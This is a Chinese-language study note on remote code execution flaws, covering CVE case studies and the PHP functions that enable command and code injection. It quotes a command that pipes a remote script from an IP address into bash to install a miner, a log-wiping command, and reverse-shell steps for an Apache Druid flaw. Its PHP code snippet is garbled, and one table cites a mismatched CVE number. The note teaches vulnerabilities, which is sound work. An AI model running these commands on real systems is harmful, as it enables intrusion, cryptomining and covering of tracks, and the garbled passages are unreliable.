一、远程代码执行漏洞
1. 远程代码执行的定义
- 定义:远程代码执行漏洞(Remote Code Execute,简称RCE)是指程序预留了执行命令或代码的接口并被黑客利用的漏洞。广义上也包括远程命令执行(Remote Command Execute)和命令注入漏洞。
- 产生原因:由于业务需求设计需要执行外部命令或代码的接口,但未对用户输入进行严格校验和限制。
- 危害等级:属于高危漏洞,CVSSv3评分可达9.8分(如CVE-2021-3177)。
2. 远程代码执行漏洞的应用
1)典型应用场景
- 网络设备管理界面:如路由器、防火墙的ping测试功能界面
- 自动化运维系统:网页端直接执行服务器命令的接口
- 数据库管理后台:允许执行SQL语句的运维界面(需注意限制delete/update等危险操作)
2)漏洞危害
- 服务器控制:获取系统权限执行任意命令
- 数据泄露:读取网站源码、用户数据等敏感文件
- 恶意文件操作:写入webshell、植入挖矿木马(如MimuMiner家族)
- 横向渗透:通过SSH连接在内网横向移动
- 日志清除:使用cat /dev/null > /var/log/secure等命令清除攻击痕迹
3)例题:Atlassian Confluence漏洞
- 题目解析
- 漏洞编号:CVE-2021-26084
- 攻击方式:通过构造恶意请求执行curl hxxp://190.144.115.54:443/cn.sh | bash下载挖矿脚本
- 攻击特征:
- 清除竞品挖矿进程(如4SHMiner、H2Miner)
- 使用hostname作为矿池用户名密码
- 通过/var/tmp/mimu目录驻留恶意程序
- 防御措施:腾讯T-Sec主机安全专业版可拦截此类攻击
4)例题:Apache Druid远程代码执行漏洞
- 题目解析
- 影响版本:Apache Druid < 0.20.1
- 漏洞原理:通过构造恶意JSON请求执行JavaScript代码
- 复现步骤:
- 使用Docker搭建环境:docker pull fokkodriesprong/docker-druid
- 修改filter参数注入java.lang.Runtime.getRuntime().exec()
- 通过nc监听获取反弹shell
- 修复建议:升级至0.20.1及以上版本
3. 实际漏洞案例分析
1)例题:Python远程代码执行漏洞
- 题目解析
- 漏洞编号:CVE-2021-3177
- 影响版本:Python 3.x-3.9.1
- 利用方式:通过ctypes库造成缓冲区溢出
- 修复方案:升级至Python 3.6.13/3.7.10/3.8.8/3.9.2
2)例题:VMware远程代码执行漏洞
- 题目解析
- 漏洞编号:CVE-2021-21972
- 攻击向量:通过443端口构造恶意请求
- 影响产品:
- vCenter Server 7.0系列<7.0U1c
- VMware Cloud Foundation 4.x<4.2.3
- 关联漏洞:CVE-2021-21974(ESXi堆溢出)、CVE-2021-21973(SSRF)
3)例题:深信服EDR远程命令执行漏洞
- 题目解析
- 漏洞编号:CNVD-2020-46552
- 影响版本:EDR v3.2.16/3.2.17/3.2.19
- 利用特点:
- 默认root权限运行
- 可通过构造特殊请求包执行系统命令
- 常被用于植入挖矿木马
- 修复方案:升级到最新安全版本
4)例题:网康科技防火墙RCE漏洞
- 题目解析
- 漏洞编号:CNVD-2021-30101
- 攻击方式:向/directdata/direct/router发送恶意POST请求
- 后续利用:通过http://x.x.x.x/cmd.txt获取命令执行结果
- 防御建议:部署WAF拦截异常请求
二、知识小结
知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
远程代码执行漏洞(RCE)定义 | 程序预留执行命令/代码的接口被外部用户滥用,导致黑客控制服务器 | 区分RCE与命令注入漏洞(广义上可归为同类) | ⭐⭐ |
PHP语言中的RCE风险函数 | 未明确列举具体函数,但强调未严格校验用户输入是根本原因 | eval()等危险函数的使用场景 | ⭐⭐⭐ |
外部靶场案例(DVWA/Pikachu) | 通过综合靶场演示RCE漏洞的实际利用方式 | 靶场环境搭建与漏洞复现步骤 | ⭐⭐ |
在线CTF平台实践 | 通过实战平台体验RCE漏洞的危害(如获取服务器权限、数据泄露等) | 反弹Shell构造与权限维持技术 | ⭐⭐⭐⭐ |
漏洞修复与防御 | 未展开具体措施,但强调输入校验和最小权限原则 | 安全开发规范与WAF规则配置 | ⭐⭐ |
RCE危害案例(Confluence漏洞) | 攻击者利用漏洞植入挖矿程序、清除日志、横向移动 | 漏洞利用链分析(从RCE到持久化控制) | ⭐⭐⭐⭐ |
知名软件RCE漏洞(Python/VMware/Apache) | Python语言自身漏洞、VMware vCenter未授权访问、Apache数据库漏洞 | CVE编号关联(如CVE-2023-21972) | ⭐⭐⭐ |
安全软件自身RCE漏洞(深信服/网康) | 终端管理系统/防火墙因界面未过滤输入导致Root权限被获取 | 安全产品反被利用的讽刺性风险 | ⭐⭐⭐⭐ |
一、远程代码执行涉及函数
1. 命令注入
- 分类依据:PHP中造成RCE漏洞的函数分为命令注入和代码注入两类,对应RCE漏洞的两种别名(远程命令执行/远程代码执行)
- 典型函数:
- system():执行操作系统命令并输出结果,与eval()并列为文件上传漏洞的"罪魁祸首"
- exec()/shell_exec():通过shell环境执行命令并将完整输出以字符串返回
- proc_open():执行命令并打开用于输入/输出的文件指针
- popen():打开进程文件指针
- passthru():执行外部程序并显示原始输出
- pcntl_exec():在当前进程空间执行指定程序
1)示例分析
- 漏洞场景:靶场中通过输入IP执行ping命令的功能
- 漏洞成因:直接使用shell_exec()拼接用户输入的IP参数($ip),未做过滤处理
- 关键代码:
result.=shellexec(′ping′.result.=shell_exec('ping '.result.=shellexec(′ping′.
ip); // Windows系统
result.=shellexec(′ping−c4′.result.=shell_exec('ping -c 4 '.result.=shellexec(′ping−c4′.
ip); // 其他系统
- **利用方式**:通过命令分隔符(如`;`、`&&`)注入额外命令 ##### 2. 代码注入 <timestamp>137000</timestamp> - <img src="https://xact01.baidupcs.com/file/p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3?bkt=en-3de6f374fcad9f514a94920d227b7f50&fid=282335-250528-&time=1745490831&sign=FDTAXUVGEQlBHSKfWqij-GBWOGYTBgG0KqHy7wNbwoLTVMyJyK6xE-QWA8nYcomq5bmTtOKseTyqwVgJg%3D&to=125&size=10&sta_dx=10&sta_cs=0&sta_ft=&sta_ct=7&sta_mt=7&fm2=MH%2CXian%2CAnywhere%2C%2C%E5%9B%9B%E5%B7%9D%2Cct&ctime=0&mtime=0&dt3=0&resv0=-1&resv1=0&resv2=rlim&resv3=5&resv4=10&vuk=0&iv=2&vl=0&htype=&randtype=&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=en-790f9c151068f14d1678a1d5b88d45c1b9c452cea603af868b73292470beba738c7294e95218d3a1e88d043170e8f64b867c5a44176a4cf4305a5e1275657320&expires=8h&r=539704602&vbdid=-&fin=p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&fn=p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&rtype=1&dp-logid=332885767212816930&dp-callid=0.1&hps=1&tsl=0&csl=0&fsl=-1&csign=dmayhhcqdS1jXSxjkf6DN1P7N8o%3D&so=0&ut=1&uter=-1&serv=-1&uc=3989653264&ti=83f2b583554fba15962799e45bad74b34ebcbfd45e914e30&hflag=30&from_type=&adg=n&reqlabel=250528_n_84960de24d75530aeb52ede24f1901ae_0_51404d021002501c7cc73a93072a7338&chkv=5&bid=250528&by=themis" data-ilink="http://yq.newbcs.bae.baidu.com/rest/2.0/poms/bcs?sign=MBOT:UmxSaFNWRVpHVlcxMFIx:aDCJ5xwKYyLMWldLsR6u1YSTIMk%3D&method=download&bucket=ai-note-store&object=/p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&time=1745498031"> - **核心函数**: - **eval()**:将字符串作为PHP代码执行 - **assert()**:检查断言时先执行代码(常用于单元测试) - **preg_replace()**:执行正则替换时可能执行代码 - **create_function()**:创建匿名函数 - **call_user_func()/call_user_func_array()**:回调函数调用 - **usort()/uasort()**:使用自定义比较函数排序数组 - **执行机制**: - **eval示例**:直接执行输入的PHP函数命令 - **assert特点**:需要先执行代码才能得到true/false结果 - **create_function**:返回匿名函数名供后续调用 - **风险场景**: - 用户输入直接拼接到正则替换模式 - 动态函数调用未做白名单限制 - 排序函数使用未验证的用户自定义比较器 #### 二、知识小结 | 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 | |--------|----------|--------------------|----------| | **PHP命令注入相关函数** | system函数可执行操作系统命令,与eval函数常被用于漏洞利用 | **system与eval的区别**:system执行OS命令,eval执行PHP代码 | ⭐⭐⭐⭐ | | shell_exec/exe函数 | 通过shell环境执行命令并获取返回结果,案例:picature插件中的ping命令实现 | 与system函数的**返回值处理差异** | ⭐⭐⭐ | | pcntl_exec/passthru | 在进程空间执行程序/显示原始输出 | **进程控制与直接输出的区别** | ⭐⭐⭐⭐ | | popen/proc_open | 通过文件指针进行进程I/O控制 | **资源句柄管理**易引发内存泄漏 | ⭐⭐⭐⭐ | | **代码注入相关函数** | eval直接执行输入代码,assert通过断言检查执行代码 | **eval与assert的防御策略差异** | ⭐⭐⭐⭐⭐ | | preg_replace | 正则替换时执行代码(需/e修饰符) | **历史版本兼容性问题** | ⭐⭐⭐ | | create_function | 创建匿名函数导致注入风险 | **闭包函数的替代方案** | ⭐⭐⭐⭐ | | call_user_func_array | 动态回调函数引发的执行链问题 | **参数过滤关键点** | ⭐⭐⭐⭐ | | 数组排序类函数 | usort等通过自定义比较函数引入执行点 | **回调函数的安全验证** | ⭐⭐⭐ |